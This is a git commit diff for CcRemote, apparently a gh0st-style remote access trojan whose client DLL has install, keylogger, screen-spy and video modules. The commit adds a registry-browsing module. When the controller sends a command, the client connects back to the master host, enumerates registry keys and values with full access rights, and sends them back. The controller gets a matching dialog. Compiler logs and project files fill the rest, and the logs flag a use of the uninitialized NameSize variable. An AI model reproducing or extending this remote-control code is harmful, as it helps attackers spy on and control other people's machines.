Merge remote-tracking branch 'origin/test'

This commit is contained in:
Cc28257 2020-06-26 14:34:07 +08:00
commit 9a966988ae
29 changed files with 798 additions and 203 deletions

Binary file not shown.

View File

@ -188,6 +188,8 @@
<ClInclude Include="common\loop.h" />
<ClInclude Include="common\Manager.h" />
<ClInclude Include="common\RegEditEx.h" />
<ClInclude Include="common\RegeditOpt.h" />
<ClInclude Include="common\RegManager.h" />
<ClInclude Include="common\ScreenManager.h" />
<ClInclude Include="common\ScreenSpy.h" />
<ClInclude Include="common\ServerManager.h" />
@ -255,6 +257,12 @@
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\RegeditOpt.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\RegManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\ScreenManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>

View File

@ -93,6 +93,12 @@
<ClInclude Include="common\ServerManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\RegeditOpt.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\RegManager.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
@ -161,5 +167,11 @@
<ClCompile Include="common\ServerManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\RegeditOpt.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\RegManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -56,23 +56,23 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 's
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
KernelManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(193): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(193): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(219): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(219): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(257): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(257): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(276): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(276): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(311): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(311): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(150): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(150): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(154): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(154): warning C4309: “初始化”: 截断常量值
KeyboardManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
@ -100,6 +100,23 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(124): warning C4996:
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(151): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
RegeditOpt.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4305: “=”: 从“<unnamed-enum-TRANSFER_MODE_NORMAL>”到“char”截断
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4309: “=”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(83): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(55): warning C4101: “DateSize”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “Type”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “NameSize”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4305: “=”: 从“<unnamed-enum-TRANSFER_MODE_NORMAL>”到“char”截断
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4309: “=”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(164): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(98): warning C4101: “szKeyName”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(106): warning C4101: “KeySize”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(182): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
RegManager.cpp
ScreenManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
d:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
@ -125,6 +142,7 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(35): warning C4309:
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(124): warning C4101: “gCapTureParms”: 未引用的局部变量
VideoManager.cpp
正在生成代码...
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(113): warning C4700: 使用了未初始化的局部变量“NameSize”
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
FileManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(213): warning C4838: 从“int”转换到“char”需要收缩转换

View File

@ -98,6 +98,10 @@ void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ServicesManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_REGEDIT: //注册表管理
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_RegeditManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_OPEN_URL_SHOW: // 显示打开网页
OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
break;

View File

@ -0,0 +1,55 @@
// RegManager.cpp: implementation of the CRegManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "RegManager.h"
#include "RegeditOpt.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CRegManager::CRegManager(CClientSocket *pClient):CManager(pClient)
{
BYTE bToken=TOKEN_REGEDIT;
Send((BYTE*)&bToken,1);
}
CRegManager::~CRegManager()
{
}
void CRegManager::Find(char bToken, char *path)
{
RegeditOpt reg(bToken);
if(path!=NULL){
reg.SetPath(path);
}
char *tmp= reg.FindPath();
if(tmp!=NULL){
Send((LPBYTE)tmp, LocalSize(tmp));
LocalFree(tmp);
}
char* tmpd=reg.FindKey();
if(tmpd!=NULL){
Send((LPBYTE)tmpd, LocalSize(tmpd));
LocalFree(tmpd);
}
}
void CRegManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0]){
case COMMAND_REG_FIND: //²éÊý¾Ý
if(nSize>=3){
Find(lpBuffer[1],(char*)(lpBuffer+2));
}else{
Find(lpBuffer[1],NULL);
}
break;
default:
break;
}
}

View File

@ -0,0 +1,25 @@
// RegManager.h: interface for the CRegManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_REGMANAGER_H__F3FCEB28_905E_4637_9A9E_F3F8907FB3BF__INCLUDED_)
#define AFX_REGMANAGER_H__F3FCEB28_905E_4637_9A9E_F3F8907FB3BF__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
class CRegManager : public CManager
{
public:
void OnReceive(LPBYTE lpBuffer, UINT nSize);
CRegManager(CClientSocket *pClient);
virtual ~CRegManager();
protected:
void Find(char bToken,char* path);
};
#endif // !defined(AFX_REGMANAGER_H__F3FCEB28_905E_4637_9A9E_F3F8907FB3BF__INCLUDED_)

View File

@ -0,0 +1,183 @@
// RegeditOpt.cpp: implementation of the RegeditOpt class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "RegeditOpt.h"
#include "..\..\..\common\macros.h"
#include <stdlib.h>
#include <malloc.h>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
RegeditOpt::RegeditOpt()
{
}
RegeditOpt::RegeditOpt(char b)
{
switch(b){
case MHKEY_CLASSES_ROOT:
MKEY=HKEY_CLASSES_ROOT;
break;
case MHKEY_CURRENT_USER:
MKEY=HKEY_CURRENT_USER;
break;
case MHKEY_LOCAL_MACHINE:
MKEY=HKEY_LOCAL_MACHINE;
break;
case MHKEY_USERS:
MKEY=HKEY_USERS;
break;
case MHKEY_CURRENT_CONFIG:
MKEY=HKEY_CURRENT_CONFIG;
break;
default:
MKEY=HKEY_LOCAL_MACHINE;
break;
}
ZeroMemory(KeyPath,MAX_PATH);
}
RegeditOpt::~RegeditOpt()
{
}
char* RegeditOpt::FindPath()
{
char *buf=NULL;
HKEY hKey; //注册表返回句柄
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS)//打开
{
DWORD dwIndex=0,NameSize,NameCnt,NameMaxLen,Type;
DWORD KeySize,KeyCnt,KeyMaxLen,DateSize,MaxDateLen;
//这就是枚举了
if(RegQueryInfoKey(hKey,NULL,NULL,NULL,&KeyCnt,&KeyMaxLen,NULL,&NameCnt,&NameMaxLen,&MaxDateLen,NULL,NULL)!=ERROR_SUCCESS)
{
return NULL;
}
//一点保护措施
KeySize=KeyMaxLen+1;
if(KeyCnt>0&&KeySize>1){
int size=sizeof(REGMSG)+1;
//buf=new char[KeyCnt*KeySize+size+1];
DWORD datasize=KeyCnt*KeySize+size+1;
buf=(char*)LocalAlloc(LPTR, datasize);
ZeroMemory(buf,datasize);
buf[0]=TOKEN_REG_PATH; //命令头
REGMSG msg; //数据头
msg.size=KeySize;
msg.count=KeyCnt;
memcpy(buf+1,(void*)&msg,size);
char * tmp=new char[KeySize];
for(dwIndex=0;dwIndex<KeyCnt;dwIndex++) //枚举项
{
ZeroMemory(tmp,KeySize);
DWORD i=KeySize;
RegEnumKeyEx(hKey,dwIndex,tmp,&i,NULL,NULL,NULL,NULL);
strcpy(buf+dwIndex*KeySize+size,tmp);
}
delete[] tmp;
RegCloseKey(hKey);
buf=(char*)LocalReAlloc(buf, datasize, LMEM_ZEROINIT|LMEM_MOVEABLE);
}
}
return buf;
}
char* RegeditOpt::FindKey()
{
char *szValueName; //键值名称
char *szKeyName; //子键名称
LPBYTE szValueDate; //键值数据
char *buf=NULL;
HKEY hKey; //注册表返回句柄
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS)//打开
{
DWORD dwIndex=0,NameSize,NameCnt,NameMaxLen,Type;
DWORD KeySize,KeyCnt,KeyMaxLen,DataSize,MaxDateLen;
//这就是枚举了
if(RegQueryInfoKey(hKey,NULL,NULL,NULL,&KeyCnt,&KeyMaxLen,NULL,&NameCnt,&NameMaxLen,&MaxDateLen,NULL,NULL)!=ERROR_SUCCESS)
{
return NULL;
}
if(NameCnt>0&&MaxDateLen>0&&NameSize>0)
{
DataSize=MaxDateLen+1;
NameSize=NameMaxLen+100;
REGMSG msg;
msg.count=NameCnt; //总个数
msg.size=NameSize; //名字大小
msg.valsize=DataSize; //数据大小
int msgsize=sizeof(REGMSG);
// 头 标记 名字 数据
DWORD size=sizeof(REGMSG)+ sizeof(BYTE)*NameCnt+ NameSize*NameCnt+DataSize*NameCnt+10;
buf=(char*)LocalAlloc(LPTR, size);
ZeroMemory(buf,size);
buf[0]=TOKEN_REG_KEY; //命令头
memcpy(buf+1,(void*)&msg,msgsize); //数据头
szValueName=(char *)malloc(NameSize);
szValueDate=(LPBYTE)malloc(DataSize);
char *tmp=buf+msgsize+1;
for(dwIndex=0;dwIndex<NameCnt;dwIndex++) //枚举键值
{
ZeroMemory(szValueName,NameSize);
ZeroMemory(szValueDate,DataSize);
DataSize=MaxDateLen+1;
NameSize=NameMaxLen+100;
RegEnumValue(hKey,dwIndex,szValueName,&NameSize,NULL,&Type,szValueDate,&DataSize);//读取键值
if(Type==REG_SZ)
{
tmp[0]=MREG_SZ;
}
if(Type==REG_DWORD)
{
//DWORD d;//=(DWORD)*szValueDate;
// CRegistry reg(hKey);
// reg.Read(szValueName,&d);
// memcpy(szValueDate,(void*)&d,sizeof(DWORD));
tmp[0]=MREG_DWORD;
}
if(Type==REG_BINARY)
{
tmp[0]=MREG_BINARY;
}
if(Type==REG_EXPAND_SZ)
{
tmp[0]=MREG_EXPAND_SZ;
}
tmp+=sizeof(BYTE);
strcpy(tmp,szValueName);
tmp+=msg.size;
memcpy(tmp,szValueDate,msg.valsize);
tmp+=msg.valsize;
}
free(szValueName);
free(szValueDate);
buf=(char*)LocalReAlloc(buf, size, LMEM_ZEROINIT|LMEM_MOVEABLE);
}
}
return buf;
}
void RegeditOpt::SetPath(char *path)
{
ZeroMemory(KeyPath,MAX_PATH);
strcpy(KeyPath,path);
}

View File

@ -0,0 +1,48 @@
// RegeditOpt.h: interface for the RegeditOpt class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_REGEDITOPT_H__4840C10B_6BD5_4F6A_A6E8_16BB38516358__INCLUDED_)
#define AFX_REGEDITOPT_H__4840C10B_6BD5_4F6A_A6E8_16BB38516358__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
enum MYKEY{
MHKEY_CLASSES_ROOT,
MHKEY_CURRENT_USER,
MHKEY_LOCAL_MACHINE,
MHKEY_USERS,
MHKEY_CURRENT_CONFIG
};
enum KEYVALUE{
MREG_SZ,
MREG_DWORD,
MREG_BINARY,
MREG_EXPAND_SZ
};
struct REGMSG{
int count; //名字个数
DWORD size; //名字大小
DWORD valsize; //值大小
};
class RegeditOpt
{
public:
void SetPath(char *path);
char* FindKey();
char* FindPath();
RegeditOpt();
RegeditOpt(char b);
virtual ~RegeditOpt();
protected:
char KeyPath[MAX_PATH];
HKEY MKEY;
};
#endif // !defined(AFX_REGEDITOPT_H__4840C10B_6BD5_4F6A_A6E8_16BB38516358__INCLUDED_)

View File

@ -9,6 +9,7 @@
#include "SystemManager.h"
#include "KeyboardManager.h"
#include "ServerManager.h"
#include "RegManager.h"
#include "..\StrCry.h"
#include "until.h"
#include "install.h"
@ -322,10 +323,10 @@ void SetHostID(LPCTSTR lpServiceName, LPCTSTR lpHostID)
}
//服务管理线程
// 服务管理线程
DWORD WINAPI Loop_ServicesManager(SOCKET sRemote)
{
OutputDebugString("DWORD WINAPI Loop_ServicesManager(SOCKET sRemote)");
//OutputDebugString("DWORD WINAPI Loop_ServicesManager(SOCKET sRemote)");
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
@ -337,5 +338,20 @@ DWORD WINAPI Loop_ServicesManager(SOCKET sRemote)
return 0;
}
// 注册表管理
DWORD WINAPI Loop_RegeditManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CRegManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
#endif // !defined(AFX_LOOP_H_INCLUDED)

Binary file not shown.

Binary file not shown.

View File

@ -227,6 +227,7 @@
<ClInclude Include="InputDlg.h" />
<ClInclude Include="pch.h" />
<ClInclude Include="PublicStruct.h" />
<ClInclude Include="RegDlg.h" />
<ClInclude Include="Resource.h" />
<ClInclude Include="SEU_QQwry.h" />
<ClInclude Include="targetver.h" />
@ -269,6 +270,7 @@
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
<ClCompile Include="RegDlg.cpp" />
<ClCompile Include="SEU_QQwry.cpp" />
<ClCompile Include="TrueColorToolBar.cpp" />
</ItemGroup>

View File

@ -96,6 +96,9 @@
<ClInclude Include="CServerDlg.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="RegDlg.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CcRemote.cpp">
@ -155,6 +158,9 @@
<ClCompile Include="CServerDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="RegDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="CcRemote.rc">

View File

@ -8,6 +8,7 @@
#include "CcRemoteDlg.h"
#include "afxdialogex.h"
#include "CSettingDlg.h"
#include "RegDlg.h"
#include "..\..\common\macros.h"
@ -87,6 +88,7 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
ON_MESSAGE(WM_OPENMANAGERDIALOG, OnOpenManagerDialog)
ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog)
ON_MESSAGE(WM_OPENSERVERDIALOG, OnOpenServerDialog)
ON_MESSAGE(WM_OPENREGEDITDIALOG, OnOpenRegEditDialog)
//-------------系统-------------
ON_WM_SYSCOMMAND()
@ -553,6 +555,8 @@ void CCcRemoteDlg::OnOnlineProcess()
void CCcRemoteDlg::OnOnlineRegist()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_REGEDIT;
SendSelectCommand(&bToken, sizeof(BYTE));
}
@ -813,6 +817,8 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
case SERVER_DLG:
((CServerDlg *)dlg)->OnReceiveComplete();
break;
case REGEDIT_DLG:
((CRegDlg *)dlg)->OnReceiveComplete();
default:
break;
}
@ -879,6 +885,9 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
case TOKEN_SERVERLIST:
g_pCcRemoteDlg->PostMessage(WM_OPENSERVERDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_REGEDIT:
g_pCcRemoteDlg->PostMessage(WM_OPENREGEDITDIALOG, 0, (LPARAM)pContext);
break;
// 命令停止当前操作
default:
closesocket(pContext->m_Socket);
@ -1095,7 +1104,7 @@ LRESULT CCcRemoteDlg::OnOpenServerDialog(WPARAM wParam, LPARAM lParam)
ClientContext *pContext = (ClientContext *)lParam;
CServerDlg *dlg = new CServerDlg(this, m_iocpServer, pContext); //动态创建CSystemDlg
// 设置父窗口为
// 设置父窗口为
dlg->Create(IDD_SERVERDLG, GetDesktopWindow()); //创建对话框
dlg->ShowWindow(SW_SHOW); //显示对话框
@ -1105,6 +1114,22 @@ LRESULT CCcRemoteDlg::OnOpenServerDialog(WPARAM wParam, LPARAM lParam)
return 0;
}
//注册表管理窗口
LRESULT CCcRemoteDlg::OnOpenRegEditDialog(WPARAM wParam, LPARAM lParam)
{
ClientContext *pContext = (ClientContext *)lParam;
CRegDlg *dlg = new CRegDlg(this, m_iocpServer, pContext); //动态创建CSystemDlg
// 设置父窗口为桌面
dlg->Create(IDD_DIALOG_REGEDIT, GetDesktopWindow()); //创建对话框
dlg->ShowWindow(SW_SHOW); //显示对话框
pContext->m_Dialog[0] = REGEDIT_DLG; //这个值用做服务端再次发送数据时的标识
pContext->m_Dialog[1] = (int)dlg;
//先看一下这个对话框的界面再看这个对话框类的构造函数
return 0;
}
//绘制背景图片
BOOL CCcRemoteDlg::OnEraseBkgnd(CDC* pDC)
{

View File

@ -107,6 +107,7 @@ public:
afx_msg LRESULT OnOpenManagerDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenAudioDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenServerDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenRegEditDialog(WPARAM, LPARAM);
//-------------系统消息处理-------------
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);

View File

@ -1,36 +0,0 @@
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.pch
f:\myapp\ccremote\ccremote\ccremote\debug\vc141.pdb
f:\myapp\ccremote\ccremote\ccremote\debug\vc141.idb
f:\myapp\ccremote\ccremote\ccremote\debug\pch.obj
f:\myapp\ccremote\ccremote\ccremote\debug\audio.obj
f:\myapp\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
f:\myapp\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
f:\myapp\ccremote\ccremote\ccremote\debug\inputdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\inifile.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cpuusage.obj
f:\myapp\ccremote\ccremote\ccremote\debug\csystemdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cshelldlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\csettingdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cserverdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cfilemanagerdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.obj
f:\myapp\ccremote\ccremote\ccremote\debug\caudiodlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\iocpserver.obj
f:\myapp\ccremote\ccremote\ccremote\debug\buffer.obj
f:\myapp\ccremote\bin\ccremote.ilk
f:\myapp\ccremote\bin\ccremote.exe
f:\myapp\ccremote\bin\ccremote.pdb
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.res
f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog

View File

@ -1,77 +1,7 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
pch.cpp
Audio.cpp
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
CAudioDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CcRemote.cpp
CcRemoteDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(166): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(171): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(314): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(337): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(838): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(923): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CFileManagerDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(81): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
